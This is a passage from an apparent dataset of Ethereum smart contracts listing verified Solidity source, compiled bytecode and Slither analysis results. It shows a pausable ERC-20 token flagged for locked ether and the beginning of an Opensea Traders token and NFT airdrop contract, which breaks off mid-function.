address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x5b6a7fa842a95d70df2216a7f58c3cd483bd703f
|
pragma solidity ^0.5.2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FFToken is PausableToken {
string public constant name = "Fifty Five Token";
string public constant symbol = "FF";
uint256 public constant decimals = 18;
mapping (address => uint256) freezes;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
constructor() public {
totalSupply_ = 10000000000 * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
function freezeOf(address _owner) public view returns (uint256) {
return freezes[_owner];
}
function burn(uint256 _value) whenNotPaused public returns (bool) {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) whenNotPaused public returns (bool) {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
freezes[msg.sender] = freezes[msg.sender].add(_value);
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) whenNotPaused public returns (bool) {
require(_value <= freezes[msg.sender]);
freezes[msg.sender] = freezes[msg.sender].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable external {
revert();
}
}
|
0x608060405260043610610147576000357c01000000000000000000000000000000000000000000000000000000009004806370a08231116100c8578063a9059cbb1161008c578063a9059cbb14610611578063cd4217c114610684578063d73dd623146106e9578063d7a78db81461075c578063dd62ed3e146107af578063f2fde38b1461083457610147565b806370a0823114610497578063715018a6146104fc5780638456cb59146105135780638da5cb5b1461052a57806395d89b411461058157610147565b80633f4ba83a1161010f5780633f4ba83a1461033857806342966c681461034f5780635c975abb146103a257806366188463146103d15780636623fc461461044457610147565b806306fdde031461014c578063095ea7b3146101dc57806318160ddd1461024f57806323b872dd1461027a578063313ce5671461030d575b600080fd5b34801561015857600080fd5b50610161610885565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a1578082015181840152602081019050610186565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e857600080fd5b50610235600480360360408110156101ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108be565b604051808215151515815260200191505060405180910390f35b34801561025b57600080fd5b506102646108ee565b6040518082815260200191505060405180910390f35b34801561028657600080fd5b506102f36004803603606081101561029d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f8565b604051808215151515815260200191505060405180910390f35b34801561031957600080fd5b5061032261092a565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d61092f565b005b34801561035b57600080fd5b506103886004803603602081101561037257600080fd5b81019080803590602001909291905050506109ef565b604051808215151515815260200191505060405180910390f35b3480156103ae57600080fd5b506103b7610b5f565b604051808215151515815260200191505060405180910390f35b3480156103dd57600080fd5b5061042a600480360360408110156103f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b72565b604051808215151515815260200191505060405180910390f35b34801561045057600080fd5b5061047d6004803603602081101561046757600080fd5b8101908080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b3480156104a357600080fd5b506104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8d565b6040518082815260200191505060405180910390f35b34801561050857600080fd5b50610511610dd5565b005b34801561051f57600080fd5b50610528610eda565b005b34801561053657600080fd5b5061053f610f9b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058d57600080fd5b50610596610fc1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d65780820151818401526020810190506105bb565b50505050905090810190601f1680156106035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061d57600080fd5b5061066a6004803603604081101561063457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffa565b604051808215151515815260200191505060405180910390f35b34801561069057600080fd5b506106d3600480360360208110156106a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102a565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107426004803603604081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611073565b604051808215151515815260200191505060405180910390f35b34801561076857600080fd5b506107956004803603602081101561077f57600080fd5b81019080803590602001909291905050506110a3565b604051808215151515815260200191505060405180910390f35b3480156107bb57600080fd5b5061081e600480360360408110156107d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128d565b6040518082815260200191505060405180910390f35b34801561084057600080fd5b506108836004803603602081101561085757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611314565b005b6040805190810160405280601081526020017f4669667479204669766520546f6b656e0000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156108dc57600080fd5b6108e68383611398565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561091657600080fd5b61092184848461148a565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098b57600080fd5b600360149054906101000a900460ff1615156109a657600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360149054906101000a900460ff16151515610a0d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5a57600080fd5b610aab826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b028260015461184490919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b9057600080fd5b610b9a838361185d565b905092915050565b6000600360149054906101000a900460ff16151515610bc057600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c0e57600080fd5b610c6082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cf4826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f836040518082815260200191505060405180910390a260019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3657600080fd5b600360149054906101000a900460ff16151515610f5257600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f464600000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561101857600080fd5b6110228383611b18565b905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360149054906101000a900460ff1615151561109157600080fd5b61109b8383611d37565b905092915050565b6000600360149054906101000a900460ff161515156110c157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110e57600080fd5b61115f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0836040518082815260200191505060405180910390a260019050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137057600080fd5b600360149054906101000a900460ff1615151561138c57600080fd5b61139581611f33565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114c757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561151457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159f57600080fd5b6115f0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611683826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561185257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561196e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a02565b611981838261184490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000808284019050838110158015611b065750828110155b1515611b0e57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b5557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ba257600080fd5b611bf3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c86826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611dc882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f8f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611fcb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea165627a7a723058202d4c1def574ab7f712e9ef0537999d9ec2bcabf2571440bd0d6f8b9aba7677170029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,200 |
0xb36a5f0Bdec9C474e7Eb6ab36a9ED20736205789
|
/*
██████╗ ███████╗████████╗
██╔═══██╗██╔════╝╚══██╔══╝
██║ ██║███████╗ ██║
██║ ██║╚════██║ ██║
╚██████╔╝███████║ ██║
╚═════╝ ╚══════╝ ╚═╝
Opensea Traders
An ERC-20 and NFT airdrop for everyone that traded via Opensea in Q1 2021.
Website: https://openseatraders.io/
Created by sol_dev
*/
pragma solidity ^0.5.17;
interface Receiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}
interface Callable {
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool);
}
interface Router {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface Factory {
function createPair(address, address) external returns (address);
}
interface Pair {
function token0() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract Metadata {
string public name = "Opensea Traders NFT";
string public symbol = "OSTNFT";
function contractURI() external pure returns (string memory) {
return "https://api.openseatraders.io/metadata";
}
function baseTokenURI() public pure returns (string memory) {
return "https://api.openseatraders.io/token/";
}
function tokenURI(uint256 _tokenId) external pure returns (string memory) {
bytes memory _base = bytes(baseTokenURI());
uint256 _digits = 1;
uint256 _n = _tokenId;
while (_n > 9) {
_n /= 10;
_digits++;
}
bytes memory _uri = new bytes(_base.length + _digits);
for (uint256 i = 0; i < _uri.length; i++) {
if (i < _base.length) {
_uri[i] = _base[i];
} else {
uint256 _dec = (_tokenId / (10**(_uri.length - i - 1))) % 10;
_uri[i] = byte(uint8(_dec) + 48);
}
}
return string(_uri);
}
}
contract OST {
uint256 constant private UINT_MAX = uint256(-1);
string constant public name = "Opensea Traders";
string constant public symbol = "OST";
uint8 constant public decimals = 18;
struct User {
uint256 balance;
mapping(address => uint256) allowance;
}
struct Info {
uint256 totalSupply;
mapping(address => User) users;
Router router;
Pair pair;
address controller;
bool weth0;
}
Info private info;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
constructor() public {
info.router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
info.pair = Pair(Factory(info.router.factory()).createPair(info.router.WETH(), address(this)));
info.weth0 = info.pair.token0() == info.router.WETH();
info.controller = msg.sender;
}
function mint(address _receiver, uint256 _amount) external {
require(msg.sender == info.controller);
info.totalSupply += _amount;
info.users[_receiver].balance += _amount;
emit Transfer(address(0x0), _receiver, _amount);
}
function transfer(address _to, uint256 _tokens) external returns (bool) {
return _transfer(msg.sender, _to, _tokens);
}
function approve(address _spender, uint256 _tokens) external returns (bool) {
info.users[msg.sender].allowance[_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
uint256 _allowance = allowance(_from, msg.sender);
require(_allowance >= _tokens);
if (_allowance != UINT_MAX) {
info.users[_from].allowance[msg.sender] -= _tokens;
}
return _transfer(_from, _to, _tokens);
}
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
_transfer(msg.sender, _to, _tokens);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Callable(_to).tokenCallback(msg.sender, _tokens, _data));
}
return true;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _user) public view returns (uint256) {
return info.users[_user].balance;
}
function allowance(address _user, address _spender) public view returns (uint256) {
return info.users[_user].allowance[_spender];
}
function allInfoFor(address _user) external view returns (uint256 totalTokens, uint256 totalLPTokens, uint256 wethReserve, uint256 ostReserve, uint256 userBalance, uint256 userLPBalance) {
totalTokens = totalSupply();
totalLPTokens = info.pair.totalSupply();
(uint256 _res0, uint256 _res1, ) = info.pair.getReserves();
wethReserve = info.weth0 ? _res0 : _res1;
ostReserve = info.weth0 ? _res1 : _res0;
userBalance = balanceOf(_user);
userLPBalance = info.pair.balanceOf(_user);
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (bool) {
require(balanceOf(_from) >= _tokens);
info.users[_from].balance -= _tokens;
info.users[_to].balance += _tokens;
emit Transfer(_from, _to, _tokens);
return true;
}
}
contract OpenseaTraders {
struct User {
uint256[] list;
mapping(address => bool) approved;
mapping(uint256 => uint256) indexOf;
}
struct Token {
address owner;
address approved;
}
struct Info {
bytes32 merkleRoot;
uint256 totalSupply;
mapping(uint256 => uint256) claimedBitMap;
mapping(uint256 => Token) list;
mapping(address => User) users;
OST ost;
Metadata metadata;
address owner;
}
Info private info;
mapping(bytes4 => bool) public supportsInterface;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Claimed(uint256 indexed index, address indexed account, uint256 indexed tokenId);
constructor(bytes32 _merkleRoot) public {
info.ost = new OST();
info.metadata = new Metadata();
info.owner = msg.sender;
info.merkleRoot = _merkleRoot;
supportsInterface[0x01ffc9a7] = true; // ERC-165
supportsInterface[0x80ac58cd] = true; // ERC-721
supportsInterface[0x5b5e139f] = true; // Metadata
supportsInterface[0x780e9d63] = true; // Enumerable
// Developer Bonus
info.ost.mint(msg.sender, 1e22); // 10,000 OST
_mint(msg.sender);
}
function setOwner(address _owner) external {
require(msg.sender == info.owner);
info.owner = _owner;
}
function setMetadata(Metadata _metadata) external {
